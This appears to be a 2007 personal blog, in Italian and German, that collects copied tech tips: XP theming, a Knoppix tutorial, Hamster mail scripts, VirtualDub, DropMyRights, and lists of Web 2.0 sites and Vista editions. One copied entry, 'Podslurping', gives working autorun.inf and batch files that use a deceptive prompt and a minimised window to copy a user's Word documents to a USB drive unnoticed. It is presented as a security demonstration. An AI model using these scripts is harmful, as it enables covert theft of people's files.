Lieferung und leitet sie an den Rechner
weiter.


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running an app as non admin...

xp2vista



Modificare uxtheme.dll
Windows non permette di sostituire alcun tema tranne i tre classici impostati da Microsoft, a meno di ricorrere a Software aggiuntivi quasi tutti a pagamento. Ma la voglia di personalizzazione può essere soddisfatta, anche senza installare nessun Software specifico. Si tratta di applicare una Patch scritta da dei programmatori che non fà altro che andare a patchare/modificare il file uxtheme.dll e di poter applicare tutte le skin che si possono trovare su siti freeware (Vedi link sotto) appositamente ideati per raccogliere intere collezioni di temi da applicare a XP. Vediamo come fare:

Prima di cominciare devi sapere quale Service Pack (1 o 2) è installato sul tuo PC.

1) Se utilizzi il SP1 ecco il file da scaricare - Se utilizzi il SP2 scaricare questo

2) Scarica Replacer ( [Vedi cosa significa standalone ] Standalone) che ti consentirà di sostituire il file originale di Windows con il nuovo

3) Cerca nella cartella di c:/Windows/system32 il file uxtheme.dll e trascinalo nel Replacer e conferma con Invio

4) Trascina il file uxtheme.dll modificato nel Replacer e conferma con Invio. Dovrebbero apparire messaggi di protezione o di sostituzione dei file, possiamo confermare la sostituzione --> Vedi un demo

5) Riavvia il PC - Scarica un Tema ispirato al nuovo sistema operativo Vista --> Vedi anteprima

6) Scompatta tutti i temi che vuoi nella cartella c:\windows\resource\themes --> Vedi



Puoi trovare temi per Windows XP visitando: www.crystalxp.net



NB - Applicare tale patch, non comprometterà la stabilità del sistema operativo, e nemmeno ne cambierà l'autenticità.



Sfondi Windows Vista: Sfondo 1 - Sfondo 2 - Sfondo 3 - Sfondo 4 - Sfondo 5 - Sfondo 6 - Sfondo 7



Clicca sul link di uno sfondo, si aprirà una nuova pagina web. Attendi che venga caricata l'immagine, poi clicca con il tasto destro del mouse. Dal menù che ti appare scegli la voce Inposta come sfondo. Se invece vuoi salvare lo sfondo scegli dal menù che ti appare Salva immagine con nome.




ViStart trasforma il menu start di Windows XP in quello di Vista (funzionante al 100% con ricerca ed annesse animazioni/trasparenze). Il programma è ( [Vedi cosa significa standalone ] Standalone) per cui non necessita di installazione. Un modo per personalizzare ulteriormente il tuo sistema operativo. Vedi un'anteprima di ViStart




Styler trasforma la Toolbar di Windows XP in quella molto simile di Vista (Possibile: aggiungere sfumature alle cartelle, ridimensionare le icone e molto altro). Come altri programmi non è certo indinspensabile, ma darà un tocco in più per avere l'ultimo SO di Microsoft senza acquistarlo. Vedi un'anteprima di Styler


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giovedì 9 agosto 2007

web 2.0 dutsch

Web 2.0
Die renommiertesten Sites:
MySpace.com:
Community-Plattform
flickr.com:
Foto-Community
YouTube.com:
Videoplattform
blogger.com:
Weblog-Sit
del.icio.us:
Suchportal mit User-Bewertungen
LinkedIn.com:
Business Network
Digg.com:
Technologie-Nachrichten-Blog
Die innovativsten Sites
und Anwendungen:
dabbledb.com:
Online-Datenbank-Tool
flock.com:
Web-2.0-Browser
Die deutschen Vorreiter:
OpenBC.com:
Business Network
Spreadshirt.net:
T-Shirt-Shop-Betreiber/-Vermittler
Qype.com:
Suchportal mit User-Bewertungen
Mister-Wong.de:
Social Bookmarking
plazes.com:
Lokalisierungs-/Kennenlern-Plattform
Myswitchboard.de:
Personalisierter Browser
sevenload.de:
Deutsches YouTube/MySpace-Pendant


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Linux Live Cd mit 3D-Desktop

Live-CD mit
3D-Desktop-
Unterstützung
-jdo Eine neue Version von Berry
Linux hat Yuichiro Nakada angekün
digt. Berry Linux 0.78 ist eine Live
CD, die auf Fedora basiert. Die
neueste Variante bringt Unterstüt
zung für 3D-Desktop mit sich. Dafür
setzt der Entwickler auf AIGLX und
Beryl. Weiterhin bringt die Distribu
tion Kernel 2.6.19.2 und die neueste
Version von Squashfs (3.2) mit sich
Für volle NTFS-Schreib-Lese-Unter
stützung sorgt ntfs-3g. Als Desktop
Manager ist KDE 3.5.5 implementiert
Open Office.org ist in Version 2.1.0
enthalten. Weitere Neuigkeiten und
Änderungen erfahren Sie im Change
log. Einen Link zum Herunterladen
der Distribution finden Sie im Down
load-Bereich der Projekt-Seite (http:/
yui.mine.nu/berry/edownload.php).


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Tutorial Knoppix



Knoppix Tutorial
Ogni lungo viaggio comincia con un primo passo...
(Lao Tse)

Avvertenza: Questo tutorial vuole essere un punto di partenza pensato per le persone che affrontano Knoppix/Linux/Unix per la prima volta. Oltre all'avvio e alla configurazione di Knoppix, descrive programmi applicativi di uso comune come per, esempio, Evolution (gestione degli appuntamenti), The GIMP (elaborazione di immagini), K3b (masterizzazione), Konqueror (file manager e Web browser) o OpenOffice (videoscrittura, foglio di calcolo, presentazioni...).
Essendo ancora nella fase di sviluppo, non è ancora completo. Quindi non devi aspettarti un manuale perfetto che risponda a tutti i tuoi dubbi. Ogni singolo suggerimento, segnalazione di errore, proposta di collaborazione sarà sempre gradito.

Questo tutorial si riferisce alla Knoppix Version 3.4 CeBit 2004 Edition.

Se preferisci scaricare l'intero tutorial (ca. 2 MByte): IL DOWNLOAD SARÀ DISPONIBILE ALLA VERSIONE DEFINITIVA! - NOT YET FINISHED!!!
knoppix tutorial status
Knoppix Tutorial

*
Lezione 1
o

Avvio di Knoppix
o

Dettagli sul boot di Knoppix
*
Lezione 2
o

Configurare Knoppix
o

Amministrazione di Knoppix
*
Lezione 3
o

Trasferire file da/a Windows su dischetto, utilizzando mtools
o

Agenda / gestione degli appuntamenti con Evolution
*
Lezione 4
o

Navigare in Internet con Konqueror (come Web-Browser)
o

Videoscrittura con OpenOffice Writer
*
Lezione 5
o

Fogli di calcolo con OpenOffice Calc
*
Lezione 6
o

Giochi
*
Lezione 7
o

Gestione dei file con Konqueror (come File Manager)
o

Ricerca di file con KFind e visualizzazione degli stessi con Acrobat Reader, KGhostView e KView
o

Masterizzare CD con K3b o mkisofs/cdrecord
o

Scansione di immagini con Kooka o xscanimage, riconoscimento ottico di caratteri (OCR - Optical Character Recognition) con gocr
*
Lezione 8
o

Elaborazione di immagini con The GIMP
*
Lezione 9
o

Chattare con X-Chat

Ti piace Knoppix? Vuoi saperne di più?

*

Puoi trovare di tutto e di più su Knoppix in www.knoppix.de
*

Dai un'occhiata anche a www.knoppix.net
*

Trovati un posticino tranquillo e leggi un buon libro su Debian-Linux
*

Oppure poni le tue domande nel Forum Knoppix o nell'IRC-Server irc.debian.org nelle Chat Room #debian o #knoppix.

Come sempre, buon divertimento con Knoppix :-)
Questo Documento si riferisce alla Knoppix Version 3.4 CeBit 2004 Edition.
Copyright (c) 2004-04-19 Karl Schock. Un ringraziamento a tutti coloro che hanno contribuito alla stesura di questo documento - un ringraziamento particolare a Pieter Jonker per la traduzione in inglese.
La traduzione in italiano è a cura di Maurizio Grillini.
L'indirizzo Internet originale di questo documento è: www.eleli.de/knoppix/docs/tutorial
È garantito il permesso di copiare, distribuire e/o modificare questo documento seguendo i termini della GNU Free Documentation License.
LE INFORMAZIONI CONTENUTE IN QUESTO DOCUMENTO SONO DA UTILIZZARE A PROPRIO RISCHIO. In nessun caso l'autore può essere ritenuto responsabile per danni diretti o indiretti che possano derivare dall'utilizzo di questo documento.


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Podslurping



USB Hacks: Endpoint Insecurity » How to: Simple “Podslurping” Example With a USB Flash Drive
How to: Simple “Podslurping” Example With a USB Flash Drive
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Demo Source Files

There has been a lot of talk about “Podslurping” as a new endpoint security threat. Podslurping involves the use of a removable media device, such as an iPod (hence the name) to copy documents from a computer to the removable storage device. Abe Usher introduced the concept a while back and developed a proof of concept as well as another version which only audited the system and made a list of documents the application could have copied.

But really all Podslurping involves is copying files from one place to another. However, to do this you do not really need to develop any sort of special application as Windows has functions built right in, just create a simple batch file using xcopy. Let’s build on the autorun tutorial from last week. We will create an autorun.inf file that calls a couple of batch files.

First create an autorun.inf file that looks like this:
[autorun]
icon=lilguy.ico
open=start.bat
action=Click “OK” to enable USB flash drive
shell\open\command=start.bat

So we will go ahead and use the autorun tricks we learned last week to both prompt the user to run the application, or to automatically run if double clicked. In a actual attack where a malicious user is attempting to steal information from a system they will probably take advantage of the U3 autorun hack so that it runs more quickly, but since we are just showing a proof of concept we don’t need this.

So you will notice that the autorun.inf executes the start.bat file. This file I am going to use to do two things, load the actual slurping batch file commands as well as hide the command prompt my minimizing it, this would help hide exactly what I am doing:
@echo off

@start /min slurp.bat /B

@exit

The next script we will create the script that will actually copy files. For this example, imagine that I just want to copy all Word documents from the target users “My Documents” directory:
@echo off
mkdir %~d0\%computername%
xcopy “C:\Documents and Settings\%username%\My Documents\*.doc” %~d0\%computername% /s/c/q/r/h
@cls
@exit

First I create a directory on my USB flash drive. The “%~d0″ here is a Windows variable that you can use which will output the drive from which the script is currently running. So I tell it to create a directory on my Flash drive and to name the directory the computer’s name, this is just in case I am auditing multiple systems. The xcopy command I have here will then start copying any file with a “.doc” extension it finds, it will descend into subdirectories as well as copy the subdirectories in the same tree as the actual “My Documents” directory it is copying from.

This is just a quick example of podslurping and just how simple it really is. However, there are more malicious podslurping tools out there which do a better job of searching for specific files of value, hide themselves better and even run in the background on startup not just loading files to a USB flash drive, but actually sending files offsite either view email, FTP and even VNC.


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Microsoft Virtual XP con IE6 e IE7


Download details: IE App Compat VHD
Internet Explorer Application Compatibility VPC Image


Version: 2.0

Date Published: 4/17/2007

Language: English

Download Size: 443.4 MB - 934.7 MB (Download size depends on selected download components.)

Overview:
A VPC hard disk image containing a pre-activated Windows XP SP2, and either IE6 or IE7 and the IE7 Readiness Toolkit.

This VPC image will expire on 08/17/2007.



System Requirements

* Supported Operating Systems: Windows Server 2003; Windows Vista; Windows XP


You will need a minimum of 1.5 Gig hard drive space free to expand the VHD file.

You can download the latest version of Virtual PC at http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx.



Instructions

Once you have completed the download, double-click file to expand the VHD file. Start Virtual PC and create a new VPC, and point to the files you just expanded.



Files in This Download

The links in this section correspond to separate files available in this download. Download the files most appropriate for you.

File Name: File Size

IE6_VPC.EXE


443.4 MB
Download

IE7_VPC.EXE


491.4 MB





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martedì 7 agosto 2007

Le varie versioni di Windows Vista




























































































DISTRIBUZIONE



FUNZIONI





Prezzo
versione in scatola



Per


la casa



Per l’ufficio



Vendita in scatola



Preinstallato sui
computer



Vendita solo alle aziende



Aero (nuova interfaccia
grafica)



Windows Media Center



Windows Tablet PC



BitLockar(sistema .hardware/software)



Windows
Vista Home Basic



199
Dollar (circa 158 €)



Si



No



Si



Si



No



No



No



No



No



Windows
Vista Home Premium



239
Dollar (circa 190 €)



Si



No



Si



Si



No



Si



Si



Si



No



Windows
Vista Business



299
Dollar (circa 238 €)



No



Si



Si



Si



Si



Si



No



Si



No



Windows
Vista Enterprise





No



Si



No



No



Si



Si



No



Si



Si



Windows
Vista Ultimate



399
Dollar (circa 317 €)



Si



Si



Si



Si



Si



Si



Si



Si



si










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Internet Archive

lunedì 23 luglio 2007

versioni di Ubuntu

differenti versioni:

desktop: tradizionale
kubuntu: basata su kde
xubuntu: per computer old
edubuntu: per scuole

server: come server

live:
virtuale: con vmplayer

autorisponditore email

Dies ist eine automatische Antwort der Domain "email-test.de"!

Wie Sie sehen können, funktioniert das Empfangen von Emails
bei Ihnen. Sowohl Ihre Emailkonfiguration im Internet wie
auch lokal bei Ihrem Email-Client funktionieren einwandfrei.

Viel Erfolg und gute Unterhaltung in den Weiten des Netzes
wünscht Ihnen

Configurare Hamster

FAQ - Come faccio a configurare Hamster per scaricare posta e news automaticamente?


di Daniel Srostlik:

Gli script che seguono provvedono ad inviare e ricevere la posta e le news ad intervalli regolari.

Per creare i nuovi script, aprite Hamster, selezionate la pagina Script dal menu Script / Gestisci script e moduli, quindi premete il tasto Nuovo. Dategli un nome e, nella pagina dell'editor che si aprirà, incollate il testo che segue, da ### Inizio script ### a ### Fine script ###.
Lo script va quindi adattato alle vostre esigenze: leggete le note indicate in seguito.


Per fare in modo che lo script venga avviato automaticamente all'avvio di Hamster, aggiungete il nome dello script alla linea di comando che lancia Hamster ("Destinazione", nella finestra delle proprietà del collegamento). Ad esempio, se avete chiamato lo script MailNews.hsc, la linea di comando sarà qualcosa del tipo:


hamster.exe MailNews.hsc


Per ogni comando utilizzato nello script, potete trovare informazioni dettagliate scegliendo l'indice della guida in linea, e digitando il comando in questione.

Potete trovare tanti altri script nello Scriptarchiv di Michael Gebert, al seguente indirizzo:

http://home.t-online.de/home/micha-wr/hamster/index.htm


### Inizio script ###
#!hs2

### Definizione delle variabili ###
Var ($Connettiti)
VarSet ($Tentativo, 0)
VarSet ($IsConnesso, 0)

### Impostazioni ###
$Connettiti = 1 #[1]

### Scheduler ###
AtAdd (Mail1, "07:00", "19:00", "1111111", 30, true) #[2]
AtAdd (Mail2, "07:00", "19:00", "1111111", 15, true)
AtAdd (News1, "07:00", "19:00", "1111111", 60, true)
AtAdd (News2, "07:00", "19:00", "1111111", 15, true)

AtExecute
quit

### Subroutines ###
Sub Mail1

If ($Connettiti = 1)
AttivaConnessione
If ($Tentativo >= 3)
Return
EndIf
EndIf
HamWaitIdle
HamMessage (4, 0) #[5]
HamMessage (5, 0) #[5]
HamWaitIdle
HamMailExchange #[3]
HamWaitIdle
HamMessage (4, 1) #[5]
HamMessage (5, 1) #[5]
If ($IsConnesso = 1)
HamRasHangup
$IsConnesso = 0
EndIf
EndSub

Sub News1
If ($Connettiti = 1)
AttivaConnessione
If ($Tentativo >= 3)

Return
EndIf
EndIf
HamWaitIdle

HamMessage (3, 0) #[6]
HamNewsJobsClear
HamNewsJobsPostDef
HamNewsJobsPullDef
HamNewsJobsStart
HamWaitIdle

HamMessage (3, 1) #[6]
If ($IsConnesso = 1)
HamRasHangup
$IsConnesso = 0
EndIf
EndSub


Sub Mail2
If (HamGetStatus(3, 7) > 0)
Mail1
EndIf
EndSub


Sub News2
If (HamGetStatus(3, 5) > 0)
News1
EndIf
EndSub


Sub AttivaConnessione

$Tentativo = 1
If (!RasIsConnected)
$IsConnesso = 1
While (HamRasDial ("Provider", "$1") != 0) #[4]
If ($Tentativo >= 3)
$IsConnesso = 0
Warning ("Connessione non riuscita!")
Return
endif
Inc ($Tentativo)
Sleep (10000)
EndWhile
EndIf
EndSub

### Fine Script ###


[1] Il valore della variabile $Connettiti decide se Hamster debba attivare una connessione di Accesso Remoto o meno. Se impostate il valore a 1, Hamster verifica se è già attiva una connessione; se non c'è alcuna connessione, ne attiva una (vedi anche nota [4]). Se non avete la necessità di attivare una connessione (ad esempio perché avete una connessione diretta, un router, ecc.), impostate il valore a 0 (zero).

[2] La prima delle righe AtAdd fa in modo che Hamster esegua la routine Mail1 ogni 30 minuti, dalle 7:00 alle 19:00 di tutti i giorni della settimana, da Lunedì a Domenica.

Se volete che Hamster scambi solo la posta, ma non le news, mettete un # all'inizio delle ultime due AtAdd, in modo che Hamster le ignori. Le singole subroutine eseguono questi compiti:


Mail1: riceve ed invia la posta da tutti i server SMTP e POP3 configurati dal menu Configura / Posta (vedi anche il punto [3]).

Mail2: verifica (più spesso) se ci sono e-mail in attesa nella cartella posta in uscita e, se è il caso richiama la subroutine Mail1 (che provvede quindi ad inviarle e, già che è connesso, riceve le e-mail dai server remoti).

News1: riceve ed invia gli articoli da tutti i server NNTP configurati dal menu Configura / News.


News2: verifica (più spesso) se ci sono articoli in attesa nella cartella news in uscita e, se è il caso richiama la subroutine News1 (che provvede quindi ad inviarli e, già che è connesso, riceve i nuovi articoli dai server remoti).



Nota Gli intervalli presenti nello script a cui Hamster aggiorna posta e news sono più che adeguati. Né la posta né le news sono sistemi di trasmissione in tempo reale, e quindi accorciare gli intervalli di tempo sovraccarica inutilmente i server di posta e news, e generalmente non è ben visto dagli amministratori dei server stessi (vale anche se avete una connessione flat (ADSL, ad esempio), e quindi a voi non costa nulla).

N.d.T.: se prevedete di lasciare Hamster sempre attivo, può addirittura essere ragionevole allungare l'intervallo tra le verifiche sui server remoti (Mail1 e News1) a 2 ore o più, mentre può essere ragionevole accorciare quelli di invio (Mail2 e News2) in modo da inviare subito i messaggi scritti.



[3] Per poter utilizzare il comando HamMailExchange è necessario che siano stati configurati i server POP3 ed SMTP in Configura / Posta (server ed impostazioni).

Se volete inviare la posta in uscita a differenti server SMTP, in funzione del mittente, dovete sostituire il comando HamMailExchange. Cancellate la linea che lo contiene, e rimpiazzatela con il pezzo che segue (aggiustando la configurazione per le vostre esigenze, qui c'è un esempio per GMX e per Web.de):



HamFetchMail ("pop.web.de")

HamFetchMail ("pop.gmx.net")

HamWaitIdle (20000)

HamSendMail ("smtp.web.de", "smtp","Utente1@web\.de")

HamSendMail ("mail.gmx.net", "smtp","Utente2@gmx\.de")



Se il server SMTP richiede un accesso autenticato con SMTP-Auth, dovrete usare il comando HamSendMailAuth al posto di HamSendMail. Le linee dell'esempio diventerebbero quindi:



HamSendMailAuth ("smtp.web.de", "smtp", "$2", "", "Utente1@web\.de")

HamSendMailAuth ("mail.gmx.net","smtp", "$3", "", "Utente2@gmx\.de")



Utilizzando le variabili $2 e $3 vengono passate le combinazioni di utente e password necessarie. Queste variabili vanno impostate in Configura / Account e password, pagina Password aggiuntive.



Nota Il comando HamSendMailAuth funziona solo se per il server corrispondente viene attivata la casella Autenticazione AUTH nella pagina delle proprietà, nel menu Configura Posta, pagina Server SMTP.

Nota [n.d.t.] quanto detto non è necessario per i server che basano l'autenticazione solo sull'indirizzo IP del client, ovvero la maggior parte dei provider italiani. In caso di dubbio, verificate.



[4] Il comando HamRasDial attiva una connessione utilizzando il provider indicato tra virgolette. Utilizzando la variabile $1 viene passata le combinazione di utente e password necessaria.

Fate attenzione al nome della connessione, che deve corrispondere esattamente con il nome presente nella cartella delle connessioni di Accesso Remoto, comprese le maiuscole/minuscole. La variabile $1 viene utilizzata la corrispondente combinazione di nome utente e password definita in Configura / Account e password, pagina Password aggiuntive.



[5] Con i comandi HamMessage (4, 0) e HamMessage (5, 0) vengono arrestati i server locali POP3 e SMTP, mentre i comandi HamMessage (4, 1) e HamMessage (5, 1) li riattivano. Questi sono messi per sicurezza, per evitare che possano venire scaricati o inviati dei messaggi proprio durante la sincronizzazione. Se siete sicuri che nessuno invii o riceva messaggi durante la sincronizzazione, potete anche rimuoverli, inserendo un # all'inizio di ogni linea marcata dai "[5]".



[6] Con il comando HamMessage (3, 0) viene arrestato il server locale NNTP, mentre il comando HamMessage (3, 1) lo riattiva. Questi sono messi per sicurezza, per evitare che possano venire scaricati o inviati degli articoli proprio durante la sincronizzazione (ad esempio per processarli con Korrnews e CopyIf). Se siete sicuri che nessuno invii o riceva articoli durante la sincronizzazione, potete anche rimuoverli, inserendo un # all'inizio di ogni linea marcata dai "[6]"

emilio video

http://erbamobile.altervista.org/guide/virtual/divx-virtualdub.htm

Molto importante!! Se il file video che dovete comprimere è un .VOB, VirtualDub non sarà in grado di aprire direttamente questo tipo di file. Dovrete perciò ricorrere ad uno "stratagemma". Questo consiste nell'uso di un paio di programmi: DVD2AVI e Avisynth. Essi permettono il fileserving, ovvero creeranno dei file compatibili con VirtualDub che non contengono realmente le informazioni video ma fanno da mediatori tra il vob e VirtualDub, attingendo le informazioni video dai vob e poi passandole a VirtualDub in modo che esso possa interpretarle correttamente. Questo è un metodo più pratico rispetto all'uso di versioni modificate di VirtualDub perchè il fileserving viene fatto in tempo reale, evitando la codifica del vob al momento della sua apertura. Inoltre questo metodo permette di concatenare tutti i vob di un dvd, cosa che sarebbe abbastanza ostica se fatta in altro modo. Ciò vi permetterà di utilizzare VirtualDub come un qualsiasi programma dedicato alla compressione dvd->divx come ad esempio Xmpeg o Flask, ottenendo, a mio parere, risultati migliori.

Avisynth è potentissimo tool video che opera per mezzo di script. Non è un vero e proprio programma ma piuttosto un linguaggio col quale si possono creare filtri video ecc ecc. In questa guida si farà un uso molto limitato di Avisynth e verrà utilizzato solo per poter aprire il file d2v (creato con DVD2AVI) e quindi i vob del nostro dvd usando VirtualDub. Per fare questo scaricate e installate Avisynth 2.5. L'installazione non fa altro che piazzare il file avisynth.dll nella cartella system32 di windows. Ora dovrete creare una cartella chiamata ad esempio "C:\Filtri" e metterci dentro il file MPEG2Dec3.dll contenuto nel pacchetto MPEG2Dec3v110.zip . Questo è il filtro che permetterà a VirtualDub la lettura dei file mpeg2 ovvero i vob.
L'ultimo passo è creare un file .avs ovvero un file di Avisynth. Per fare questo vi basterà aprire "Blocco note" e scrivere ciò che segue:

LoadPlugin("C:\Filtri\MPEG2Dec3.dll")
MPEG2Source("C:\blow.d2v")

La prima riga è la directory del filtro MPEG2Dec3.dll mentre la seconda è la directory del file d2v. Inserite le vostre directory esatte, non quelle che ho messo io come esempio! Ora andate in "Salva con nome" del blocco note: in "Nome file" scrivete un nome a piacimento seguito dall'estensione ".avs" (ad es.: blow.avs) e in "Salva come" selezionate "tutti i file" (altrimenti il vostro file verrà salvato come, ad es.: blow.avs.txt che non è un file avs ma un file di testo txt!).


Ora siete pronti per utilizzare VirtualDub

VirtualDub

VirtualDub potete trovarlo al sito http://virtualdub.org/ e non ha bisogno di installazione quindi, dopo aver scaricato il file .zip, decomprimetelo in una cartella qualsiasi. Il programma sarà pronto per essere utilizzato aprendo il file Virtualdub.exe. Aperto il programma date un'occhiata ai vari menù: quelli che noi utilizzeremo saranno File, Video e Audio.
Apriamo il file .avs che abbiamo prima creato manualmente il quale ci permetterà di aprire indirettamente i vob che vogliamo comprimere. Con la procedura che avete eseguito finora i vob saranno concatenati automaticamente:

File -> Open video file


http://digilander.libero.it/andypanix/DVD/AviSynth_&_DVD2Avi.html

Google Apps


Per Iniziare: Google Apps per il Tuo Dominio


Contratto google apps per il tuo dominio versione beta: Google Apps per il Tuo Dominio


Regolamento di Google Apps per il Tuo Dominio: Google Apps per il Tuo Dominio



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DropMyRights e PrivBar



Il Software - IL sito italiano sul software
Spesso si sottovaluta come il lavorare con Windows con diritti amministrativi sia una prassi pericolosa per l'integrità del sistema operativo e dei dati memorizzati sul personal computer, soprattutto se l'utente non è sufficientemente esperto.
Il trucco che segue illustra una procedura poco conosciuta che permette di eseguire applicazioni-critiche in modalità "non amministrativa" con lo scopo di evitare problemi.

Molti dei malware in circolazioni possono compiere le loro nefandezze sul sistema "infettato", solo perché l'account utente configurato ha i privilegi amministrativi. Si pensi ad un malware che crei file nocivi all'interno della cartella di sistema (SYSTEM32) di Windows, "uccida" vari processi, disabiliti il Windows Firewall (nel caso, ad esempio, di Windows XP SP2), copi diversi file nelle cartelle di Windows, cancelli chiavi e valori nel registro di sistema. Tutte queste operazioni non sarebbero possibili se client di posta elettronica e browser (Internet Explorer), operassero in modalità "non amministrativa".

Sarebbe quindi intelligente se si potessero eseguire applicazioni "delicate" (perché potenzialmente più a stretto contatto con worm e malware in generale) come Internet Explorer e il client di posta senza i diritti amministrativi pur conservandoli per le altre operazioni sul personal computer.

Sia Windows XP che Windows Server 2003 supportano una funzionalità denominata Software Restriction Policy, conosciuta anche come "SAFER". Si tratta di uno speciale meccanismo che permette ad un utente o ad uno sviluppatore software di eseguire un'applicazione con un numero di diritti ristretto: un amministratore, ad esempio, è così in grado di avviare un programma come se fosse un utente normale.

DropMyRights è un'applicazione distribuita da Microsoft stessa che consente di ridurre i diritti amministrativi per applicazioni specifiche. Il software è prelevabile gratuitamente cliccando qui. Per avviare l'installazione, è sufficiente fare doppio clic sul file .msi, accettare il contratto di licenza d'uso (dopo averlo esaminato) ed indicare come cartella di destinazione quella di Windows (es.: c:\windows): non create una cartella "ad hoc" per DropMyRights.

Ad installazione conclusa, ogniqualvolta si desideri eseguire un programma (od aprire un sito web!...) sul quale non si riveste grande fiducia, è sufficiente utilizzare il comando seguente:
%windir%\DropMyRights.exe "c:\nome_cartella\nome_programma.exe" n
Avendo ovviamente cura di sostituire a "nome_cartella" ed a "nome_programma", rispettivamente, la cartella ed il nome dell'eseguibile dell'applicazione "non fidata".

L'ultimo carattere indica i diritti coi quali si vuole eseguire il programma:
n utente normale. Usando "n", virus e spyware possono sempre leggere o cancellare i vostri file personali ma non possono installarsi sul sistema od infettare alcunché. In molti consigliano di usare questa modalità, ad esempio, per navigare sul web mediante Internet Explorer anziché utilizzare i diritti amministrativi!
c "paranoid mode". L'applicazione viene eseguita ma non è consentita la lettura e la scrittura di file (questo include, ad esempio, nel caso di Internet Explorer, lista dei siti web "Preferiti").
u "super paranoid mode". Possono presentarsi diversi problemi nel corso dell'esecuzione di un programma perché gran parte delle operazioni vengono impedite. Può essere usata, per esempio, qualora si volesse veramente visitare un sito ritenuto estramente pericoloso.

Per avviare Internet Explorer con privilegi ridotti (utente normale) si può creare un nuovo collegamento che punti al percorso seguente:
%windir%\DropMyRights.exe "C:\Programmi\Internet Explorer\IEXPLORE.EXE" n
Analoga operazione può essere effettuata per altri programmi "critici" come il client di posta o il client di messaggistica istantanea.
E' bene precisare che qualora si esegua Internet Explorer con diritti utente ristretti, tutte le applicazioni lanciate dal browser di casa Microsoft (Media Player, Acrobat Reader,...) opereranno nella stessa modalità.
L'installazione di un'applicazione da web non sarà possibile ma bisognerà avviare il setup dal sistema locale servendosi di "Risorse del computer".

Chi fosse interessato ad aggiugere, in Internet Explorer, una nuova barra degli strumenti che visualizzi i diritti utente in uso, può installare PrivBar, "add-on" veicolato sul sito MSDN di Microsoft e prelevabile da qui.
Per installare "PrivBar" è necessario estrarre il contenuto del file .zip compresso in una cartella su disco fisso di propria scelta quindi digitare in Start, Esegui... il comando seguente (si suppone di aver salvato i file nella cartella c:\privbar):
regsvr32 c:\privbar\PrivBar.dll
A questo punto, per concludere l'installazione, bisognerà fare doppio clic - da "Risorse del computer" - sul file PrivBarReg.reg acconsentendo all'inserimento delle informazioni nel registro di Windows.

Dopo aver avviato Internet Explorer, sarà infine necessario attivare la visualizzazione della nuova toolbar dal menù Visualizza, Barre degli strumenti, PrivBar.


Comparirà immediatamente la nuova barra degli strumenti (verranno indicati nome della macchina in uso, nome dell'account utente e diritti amministrativi con i quali è stata richiesta l'esecuzione di Internet Explorer).

Com'è possibile notare, Internet Explorer è stato eseguito in modalità amministratore, da un account con diritti amministrativi:


Questa pratica è assolutamente sconsigliata. Pur utilizzando un account amministratore, è possibile eseguire Internet Explorer od altri software con diritti utente più limitati, semplicemente creando un collegamento %windir%\DropMyRights.exe "C:\Programmi\Internet Explorer\IEXPLORE.EXE" n, %windir%\DropMyRights.exe "C:\Programmi\Internet Explorer\IEXPLORE.EXE" c oppure %windir%\DropMyRights.exe "C:\Programmi\Internet Explorer\IEXPLORE.EXE" u:



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